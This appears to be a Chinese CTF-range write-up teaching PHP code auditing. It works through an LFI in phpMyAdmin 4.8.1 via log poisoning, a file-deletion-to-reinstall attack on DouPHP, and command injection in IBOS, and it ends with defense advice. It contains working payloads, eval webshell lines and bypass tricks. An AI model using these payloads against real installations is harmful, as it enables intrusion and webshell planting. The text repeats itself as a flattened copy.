[封神台]漏洞挖掘与代码审计 wp
字数 1666 2025-08-13 21:33:25

PHP漏洞挖掘与代码审计实战教学

一、本地文件包含漏洞审计

1. 漏洞环境

  • 目标系统:phpMyAdmin 4.8.1
  • 访问地址:http://wjbh522a.zs.aqlab.cn/
  • 默认凭证:admin/admin

2. 漏洞分析

关键代码段

if (!empty($_REQUEST['target']) 
    && is_string($_REQUEST['target'])
    && !preg_match('/^index/', $_REQUEST['target'])
    && !in_array($_REQUEST['target'], $target_blacklist) 
    && Core::checkPageValidity($_REQUEST['target'])) {
    include $_REQUEST['target'];
    exit;
}

绕过条件分析

  1. target参数不为空且为字符串
  2. 不以"index"开头
  3. 不在黑名单中(import.php, export.php)
  4. checkPageValidity()返回true

checkPageValidity方法分析

public static function checkPageValidity(&$page, array $whitelist = [], $include = false) {
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist; // 使用默认白名单
    }
    // 检查1:直接在白名单中
    if (in_array($page, $whitelist)) {
        return true;
    }
    // 检查2:截取?前部分在白名单中
    $_page = mb_substr($page, 0, mb_strpos($page, '?'));
    if (in_array($_page, $whitelist)) {
        return true;
    }
    // 检查3:URL解码后截取?前部分在白名单中
    $_page = urldecode($page);
    $_page = mb_substr($_page, 0, mb_strpos($_page, '?'));
    if (in_array($_page, $whitelist)) {
        return true;
    }
    return false;
}

绕过技巧

  • 对问号进行二次URL编码:%253f
  • 使用白名单文件(如db_datadict.php)作为前缀

3. 漏洞利用步骤

  1. 构造payload:db_datadict.php%253f/路径/文件
  2. 包含日志文件(需先开启日志记录):
    http://wjbh522a.zs.aqlab.cn/index.php?target=db_datadict.php%253f/phpStudy/MySQL/data/WIN-FOIHHTO5ZS1.log
    
  3. 向日志写入PHP代码:
    select "<?php eval($_REQUEST[1]);?>"
    
  4. 执行任意代码:
    http://wjbh522a.zs.aqlab.cn/index.php?target=db_datadict.php%253f/phpStudy/MySQL/data/WIN-FOIHHTO5ZS1.log&1=phpinfo();
    
  5. 写入Webshell:
    http://wjbh522a.zs.aqlab.cn/index.php?target=db_datadict.php%253f/phpStudy/MySQL/data/WIN-FOIHHTO5ZS1.log&1=system('echo "<?php eval($_REQUEST[1]shell.php');
    

二、代码执行漏洞审计

1. 漏洞环境

  • 目标系统:DouPHP v1.5 Release 20190711
  • 访问地址:http://dm521zx.zs.aqlab.cn/
  • 默认凭证:admin/123456

2. 漏洞分析

关键函数

  1. eval() - 执行多行PHP代码
  2. assert() - 执行单行PHP代码
  3. preg_replace() - 使用/e修饰符时可执行代码
  4. 双引号字符串执行 - ${phpinfo()}(PHP 5.5+)

利用思路

  1. 删除安装锁文件/upload/data/install.lock
  2. 通过重新安装过程写入恶意代码到config.php

关键代码

// 文件删除漏洞
$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");
@unlink(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);

3. 漏洞利用步骤

  1. 上传文件并抓包,修改路径进行目录穿越:
    POST /admin/mobile.php
    mobile_logo=../../../data/install.lock
    
  2. 删除install.lock后重新安装系统
  3. 在安装过程中向config.php写入恶意代码

三、命令执行漏洞审计

1. 漏洞环境

  • 目标系统:IBOS 4.5.5 PRO
  • 访问地址:http://59.63.200.79:9808/?r=user/default/login
  • 默认凭证:admin/zkaqzkaq

2. 漏洞分析

关键函数

  1. system() - 执行命令并输出结果
  2. exec() - 执行命令返回最后一行
  3. passthru() - 执行命令并输出结果
  4. shell_exec() - 执行命令返回全部输出

关键代码

shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" {$db["dbname"]}\" $tablesstr > $dumpFile");

漏洞点

  1. $dumpFile由用户控制的filename参数构造
  2. 通过修改method参数使条件判断为false进入else分支
  3. 文件名中的/.被过滤,需绕过

3. 漏洞利用步骤

  1. 构造恶意filename参数:
    &filename=gylqtesaat;echo "<?php eval($_REQUEST[1]shell%pathext:~0,1%php;123
    
    • 利用环境变量%pathext:~0,1%获取点号(.)
  2. 执行后生成webshell:
    shell.php
    
  3. 使用蚁剑连接获取flag

四、审计技巧总结

1. 敏感函数定位

  • 文件包含:include, require, include_once, require_once
  • 代码执行:eval, assert, preg_replace(/e), create_function
  • 命令执行:system, exec, passthru, shell_exec, popen

2. 常见绕过技巧

  1. 路径遍历:../、编码绕过
  2. 黑名单绕过:大小写、双重编码、特殊字符
  3. 白名单绕过:参数污染、截断技巧
  4. 过滤绕过:利用环境变量、字符串拼接

3. 漏洞利用链构造

  1. 信息收集:版本识别、默认凭证
  2. 入口点定位:参数可控点、文件上传点
  3. 权限提升:从文件操作到代码执行
  4. 持久化:写入webshell、修改配置文件

五、防御建议

  1. 文件包含:

    • 禁用动态包含
    • 严格限制包含路径
    • 使用白名单验证
  2. 代码执行:

    • 禁用危险函数
    • 对用户输入严格过滤
    • 使用安全的反序列化方法
  3. 命令执行:

    • 避免直接拼接用户输入
    • 使用escapeshellarg()过滤
    • 限制命令执行权限
  4. 通用防御:

    • 及时更新补丁
    • 最小权限原则
    • 输入验证和输出编码
PHP漏洞挖掘与代码审计实战教学 一、本地文件包含漏洞审计 1. 漏洞环境 目标系统:phpMyAdmin 4.8.1 访问地址:http://wjbh522a.zs.aqlab.cn/ 默认凭证:admin/admin 2. 漏洞分析 关键代码段 绕过条件分析 target参数不为空且为字符串 不以"index"开头 不在黑名单中(import.php, export.php) checkPageValidity()返回true checkPageValidity方法分析 绕过技巧 对问号进行二次URL编码: %253f 使用白名单文件(如db_ datadict.php)作为前缀 3. 漏洞利用步骤 构造payload: db_datadict.php%253f/路径/文件 包含日志文件(需先开启日志记录): 向日志写入PHP代码: 执行任意代码: 写入Webshell: 二、代码执行漏洞审计 1. 漏洞环境 目标系统:DouPHP v1.5 Release 20190711 访问地址:http://dm521zx.zs.aqlab.cn/ 默认凭证:admin/123456 2. 漏洞分析 关键函数 eval() - 执行多行PHP代码 assert() - 执行单行PHP代码 preg_replace() - 使用/e修饰符时可执行代码 双引号字符串执行 - ${phpinfo()} (PHP 5.5+) 利用思路 删除安装锁文件 /upload/data/install.lock 通过重新安装过程写入恶意代码到config.php 关键代码 3. 漏洞利用步骤 上传文件并抓包,修改路径进行目录穿越: 删除install.lock后重新安装系统 在安装过程中向config.php写入恶意代码 三、命令执行漏洞审计 1. 漏洞环境 目标系统:IBOS 4.5.5 PRO 访问地址:http://59.63.200.79:9808/?r=user/default/login 默认凭证:admin/zkaqzkaq 2. 漏洞分析 关键函数 system() - 执行命令并输出结果 exec() - 执行命令返回最后一行 passthru() - 执行命令并输出结果 shell_exec() - 执行命令返回全部输出 关键代码 漏洞点 $dumpFile 由用户控制的 filename 参数构造 通过修改 method 参数使条件判断为false进入else分支 文件名中的 / 和 . 被过滤,需绕过 3. 漏洞利用步骤 构造恶意filename参数: 利用环境变量 %pathext:~0,1% 获取点号(.) 执行后生成webshell: 使用蚁剑连接获取flag 四、审计技巧总结 1. 敏感函数定位 文件包含: include , require , include_once , require_once 代码执行: eval , assert , preg_replace (/e), create_function 命令执行: system , exec , passthru , shell_exec , popen 2. 常见绕过技巧 路径遍历: ../ 、编码绕过 黑名单绕过:大小写、双重编码、特殊字符 白名单绕过:参数污染、截断技巧 过滤绕过:利用环境变量、字符串拼接 3. 漏洞利用链构造 信息收集:版本识别、默认凭证 入口点定位:参数可控点、文件上传点 权限提升:从文件操作到代码执行 持久化:写入webshell、修改配置文件 五、防御建议 文件包含: 禁用动态包含 严格限制包含路径 使用白名单验证 代码执行: 禁用危险函数 对用户输入严格过滤 使用安全的反序列化方法 命令执行: 避免直接拼接用户输入 使用escapeshellarg()过滤 限制命令执行权限 通用防御: 及时更新补丁 最小权限原则 输入验证和输出编码